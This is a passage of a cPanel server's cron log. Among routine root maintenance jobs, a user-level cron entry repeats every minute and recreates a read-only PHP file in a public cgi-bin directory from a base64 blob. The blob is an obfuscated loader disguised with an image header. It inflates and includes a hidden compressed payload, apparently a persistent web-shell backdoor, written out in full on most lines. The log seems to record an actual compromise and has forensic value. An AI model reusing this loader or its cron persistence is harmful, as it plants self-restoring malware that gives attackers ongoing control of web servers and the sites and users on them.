GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:15:01 server CROND[28208]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 14:15:01 server CROND[28207]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:15:01 server CROND[28209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:16:01 server CROND[28316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:17:01 server CROND[28361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:18:01 server CROND[28405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:19:01 server CROND[28456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:20:01 server CROND[28510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:20:01 server CROND[28512]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 14:20:01 server CROND[28513]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:20:01 server CROND[28514]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 14:20:01 server CROND[28515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:21:01 server CROND[28617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:22:01 server CROND[28753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:23:01 server CROND[28804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:24:01 server CROND[28852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:25:01 server CROND[28916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:25:01 server CROND[28917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:25:01 server CROND[28918]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 14:25:01 server CROND[28919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:26:01 server CROND[29034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:27:01 server CROND[29174]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 14:27:01 server CROND[29175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:28:01 server CROND[29223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:29:01 server CROND[29273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 